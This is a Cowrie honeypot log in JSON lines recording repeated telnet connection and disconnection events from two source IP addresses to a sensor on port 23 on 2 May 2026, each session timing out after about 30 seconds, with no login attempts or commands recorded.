{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56856,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0ef9e8a512a","protocol":"telnet","message":"New connection: 164.68.122.45:56856 (10.17.0.5:23) [session: c0ef9e8a512a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:33.122429Z"}
{"eventid":"cowrie.session.closed","duration":30.23859167098999,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:34.172116Z","src_ip":"199.231.212.75","session":"51674c19f085","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41457223892212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:34.392762Z","src_ip":"164.68.122.45","session":"4860a462248d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56862,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0c0c8bf8085","protocol":"telnet","message":"New connection: 164.68.122.45:56862 (10.17.0.5:23) [session: c0c0c8bf8085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:34.507297Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":44742,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfb91e3a1e11","protocol":"telnet","message":"New connection: 199.231.212.75:44742 (10.17.0.5:23) [session: dfb91e3a1e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:35.137824Z"}
{"eventid":"cowrie.session.closed","duration":30.960861444473267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:35.625368Z","src_ip":"199.231.212.75","session":"5cb661d27cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56864,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa429859d900","protocol":"telnet","message":"New connection: 164.68.122.45:56864 (10.17.0.5:23) [session: fa429859d900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:35.935150Z"}
{"eventid":"cowrie.session.closed","duration":30.237605094909668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:36.025946Z","src_ip":"199.231.212.75","session":"324c1ed29a00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.188533544540405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:36.619797Z","src_ip":"164.68.122.45","session":"c53ab37fdda6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":44744,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b5e8b10701d","protocol":"telnet","message":"New connection: 199.231.212.75:44744 (10.17.0.5:23) [session: 1b5e8b10701d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:37.244998Z"}
{"eventid":"cowrie.session.closed","duration":30.443252086639404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:37.280102Z","src_ip":"199.231.212.75","session":"27b162102f63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.042239665985107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:37.549300Z","src_ip":"164.68.122.45","session":"ac5d7346cc30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63005805015564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:38.453275Z","src_ip":"164.68.122.45","session":"33adff622ab0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800222158432007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:39.195144Z","src_ip":"199.231.212.75","session":"ffc6a2b4dd51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":56870,"dst_ip":"10.17.0.5","dst_port":23,"session":"a61553d9cb1f","protocol":"telnet","message":"New connection: 164.68.122.45:56870 (10.17.0.5:23) [session: a61553d9cb1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:39.883417Z"}
{"eventid":"cowrie.session.closed","duration":30.65241050720215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:41.178000Z","src_ip":"164.68.122.45","session":"467f66c05938","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.369617223739624,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:42.149962Z","src_ip":"164.68.122.45","session":"3dfbdf1d0990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40418,"dst_ip":"10.17.0.5","dst_port":23,"session":"db06d88d404b","protocol":"telnet","message":"New connection: 164.68.122.45:40418 (10.17.0.5:23) [session: db06d88d404b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:42.932481Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40430,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e9bed07c4c6","protocol":"telnet","message":"New connection: 164.68.122.45:40430 (10.17.0.5:23) [session: 3e9bed07c4c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:44.006181Z"}
{"eventid":"cowrie.session.closed","duration":31.622778177261353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:44.031315Z","src_ip":"164.68.122.45","session":"6556b6b9b969","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":37754,"dst_ip":"10.17.0.5","dst_port":23,"session":"30c9de841331","protocol":"telnet","message":"New connection: 199.231.212.75:37754 (10.17.0.5:23) [session: 30c9de841331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:44.326685Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40444,"dst_ip":"10.17.0.5","dst_port":23,"session":"1213d3c220d7","protocol":"telnet","message":"New connection: 164.68.122.45:40444 (10.17.0.5:23) [session: 1213d3c220d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:45.080317Z"}
{"eventid":"cowrie.session.closed","duration":30.58026909828186,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:45.182911Z","src_ip":"164.68.122.45","session":"a50eaf64b7b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.474957704544067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:45.266845Z","src_ip":"164.68.122.45","session":"ea884d958a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0251522064209,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:45.673552Z","src_ip":"164.68.122.45","session":"e75c6f61c16d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.781355381011963,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:46.999839Z","src_ip":"199.231.212.75","session":"e8f75d3dcc98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89938974380493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:47.180345Z","src_ip":"164.68.122.45","session":"34d9514411ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07219934463501,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:49.198342Z","src_ip":"199.231.212.75","session":"e84585297266","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40454,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c1b07bf81fa","protocol":"telnet","message":"New connection: 164.68.122.45:40454 (10.17.0.5:23) [session: 5c1b07bf81fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:49.779588Z"}
{"eventid":"cowrie.session.closed","duration":30.506678581237793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:50.240324Z","src_ip":"164.68.122.45","session":"9868ada32006","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.499835729599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:51.060888Z","src_ip":"199.231.212.75","session":"853cc282b77e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15781307220459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:51.349303Z","src_ip":"199.231.212.75","session":"7336333c9896","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.70276927947998,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:52.264349Z","src_ip":"164.68.122.45","session":"735a4c4eedfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04695153236389,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:52.395474Z","src_ip":"164.68.122.45","session":"08d6b3c552f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.629904747009277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:52.534345Z","src_ip":"199.231.212.75","session":"ae840e778411","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83072304725647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:53.577152Z","src_ip":"199.231.212.75","session":"748454f2732e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.505885124206543,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:54.074450Z","src_ip":"199.231.212.75","session":"d375430bda58","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":56996,"dst_ip":"10.17.0.5","dst_port":23,"session":"21b76d7a0d2e","protocol":"telnet","message":"New connection: 199.231.212.75:56996 (10.17.0.5:23) [session: 21b76d7a0d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:54.515815Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":57008,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f696208d822","protocol":"telnet","message":"New connection: 199.231.212.75:57008 (10.17.0.5:23) [session: 3f696208d822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:55.113468Z"}
{"eventid":"cowrie.session.closed","duration":30.5208637714386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:55.171219Z","src_ip":"164.68.122.45","session":"5f361d22a193","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.603113889694214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:55.816255Z","src_ip":"199.231.212.75","session":"44cccf4768ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.335397958755493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:56.106327Z","src_ip":"199.231.212.75","session":"e4c7c4426d32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636809587478638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:57.418231Z","src_ip":"199.231.212.75","session":"68e5b0397fc6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43012,"dst_ip":"10.17.0.5","dst_port":23,"session":"45a2190b0a75","protocol":"telnet","message":"New connection: 164.68.122.45:43012 (10.17.0.5:23) [session: 45a2190b0a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:57.792803Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":57016,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de5f016164e","protocol":"telnet","message":"New connection: 199.231.212.75:57016 (10.17.0.5:23) [session: 5de5f016164e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:57.884933Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":43014,"dst_ip":"10.17.0.5","dst_port":23,"session":"6957fd67945b","protocol":"telnet","message":"New connection: 164.68.122.45:43014 (10.17.0.5:23) [session: 6957fd67945b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:58.623776Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":57026,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cc28577cc48","protocol":"telnet","message":"New connection: 199.231.212.75:57026 (10.17.0.5:23) [session: 0cc28577cc48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:32:59.366206Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33344,"dst_ip":"10.17.0.5","dst_port":23,"session":"f160903f241b","protocol":"telnet","message":"New connection: 164.68.122.45:33344 (10.17.0.5:23) [session: f160903f241b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:01.638764Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33204,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b7dc4d77183","protocol":"telnet","message":"New connection: 199.231.212.75:33204 (10.17.0.5:23) [session: 4b7dc4d77183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:02.261115Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33356,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f9a7950cac4","protocol":"telnet","message":"New connection: 164.68.122.45:33356 (10.17.0.5:23) [session: 5f9a7950cac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:02.624987Z"}
{"eventid":"cowrie.session.closed","duration":30.953251361846924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:04.075589Z","src_ip":"164.68.122.45","session":"c0ef9e8a512a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.564988136291504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:05.072209Z","src_ip":"164.68.122.45","session":"c0c0c8bf8085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33360,"dst_ip":"10.17.0.5","dst_port":23,"session":"50fc3542d0c0","protocol":"telnet","message":"New connection: 164.68.122.45:33360 (10.17.0.5:23) [session: 50fc3542d0c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:05.513325Z"}
{"eventid":"cowrie.session.closed","duration":31.09245729446411,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:06.230165Z","src_ip":"199.231.212.75","session":"dfb91e3a1e11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.034616708755493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:06.969676Z","src_ip":"164.68.122.45","session":"fa429859d900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33206,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d16d3e1a03e","protocol":"telnet","message":"New connection: 199.231.212.75:33206 (10.17.0.5:23) [session: 1d16d3e1a03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:07.881444Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33374,"dst_ip":"10.17.0.5","dst_port":23,"session":"63cb6f9bc44f","protocol":"telnet","message":"New connection: 164.68.122.45:33374 (10.17.0.5:23) [session: 63cb6f9bc44f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:07.968645Z"}
{"eventid":"cowrie.session.closed","duration":31.360945463180542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:08.605859Z","src_ip":"199.231.212.75","session":"1b5e8b10701d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":33222,"dst_ip":"10.17.0.5","dst_port":23,"session":"975d53248fbc","protocol":"telnet","message":"New connection: 199.231.212.75:33222 (10.17.0.5:23) [session: 975d53248fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:08.783984Z"}
{"eventid":"cowrie.session.closed","duration":30.532276153564453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:10.415623Z","src_ip":"164.68.122.45","session":"a61553d9cb1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":52732,"dst_ip":"10.17.0.5","dst_port":23,"session":"538a8331ae68","protocol":"telnet","message":"New connection: 199.231.212.75:52732 (10.17.0.5:23) [session: 538a8331ae68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:11.394866Z"}
{"eventid":"cowrie.session.closed","duration":30.140010833740234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:13.072365Z","src_ip":"164.68.122.45","session":"db06d88d404b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28272271156311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:15.288774Z","src_ip":"164.68.122.45","session":"3e9bed07c4c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.126843452453613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:15.453390Z","src_ip":"199.231.212.75","session":"30c9de841331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":52744,"dst_ip":"10.17.0.5","dst_port":23,"session":"97f8688b5592","protocol":"telnet","message":"New connection: 199.231.212.75:52744 (10.17.0.5:23) [session: 97f8688b5592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:15.870482Z"}
{"eventid":"cowrie.session.closed","duration":31.07212805747986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:16.152293Z","src_ip":"164.68.122.45","session":"1213d3c220d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.311660051345825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:20.091145Z","src_ip":"164.68.122.45","session":"5c1b07bf81fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73902940750122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:25.254525Z","src_ip":"199.231.212.75","session":"21b76d7a0d2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46278,"dst_ip":"10.17.0.5","dst_port":23,"session":"14e5262c5133","protocol":"telnet","message":"New connection: 164.68.122.45:46278 (10.17.0.5:23) [session: 14e5262c5133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:25.492573Z"}
{"eventid":"cowrie.session.closed","duration":31.065827131271362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:26.179146Z","src_ip":"199.231.212.75","session":"3f696208d822","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46282,"dst_ip":"10.17.0.5","dst_port":23,"session":"602681296d9b","protocol":"telnet","message":"New connection: 164.68.122.45:46282 (10.17.0.5:23) [session: 602681296d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:26.258293Z"}
{"eventid":"cowrie.session.closed","duration":30.459532976150513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:28.252220Z","src_ip":"164.68.122.45","session":"45a2190b0a75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.801456928253174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:28.686260Z","src_ip":"199.231.212.75","session":"5de5f016164e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.541365146636963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:29.164889Z","src_ip":"164.68.122.45","session":"6957fd67945b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.777806997299194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:30.143917Z","src_ip":"199.231.212.75","session":"0cc28577cc48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.491267204284668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:32.129900Z","src_ip":"164.68.122.45","session":"f160903f241b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.79800581932068,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:33.059003Z","src_ip":"199.231.212.75","session":"4b7dc4d77183","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36440372467041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:33.989292Z","src_ip":"164.68.122.45","session":"5f9a7950cac4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060291528701782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:36.573463Z","src_ip":"164.68.122.45","session":"50fc3542d0c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076881170272827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:38.958186Z","src_ip":"199.231.212.75","session":"1d16d3e1a03e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.347431659698486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:39.131338Z","src_ip":"199.231.212.75","session":"975d53248fbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.380286931991577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:39.348791Z","src_ip":"164.68.122.45","session":"63cb6f9bc44f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46152,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce543c4f262e","protocol":"telnet","message":"New connection: 164.68.122.45:46152 (10.17.0.5:23) [session: ce543c4f262e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:42.291126Z"}
{"eventid":"cowrie.session.closed","duration":31.530930042266846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:42.925679Z","src_ip":"199.231.212.75","session":"538a8331ae68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.731687545776367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:33:46.602038Z","src_ip":"199.231.212.75","session":"97f8688b5592","protocol":"telnet"}
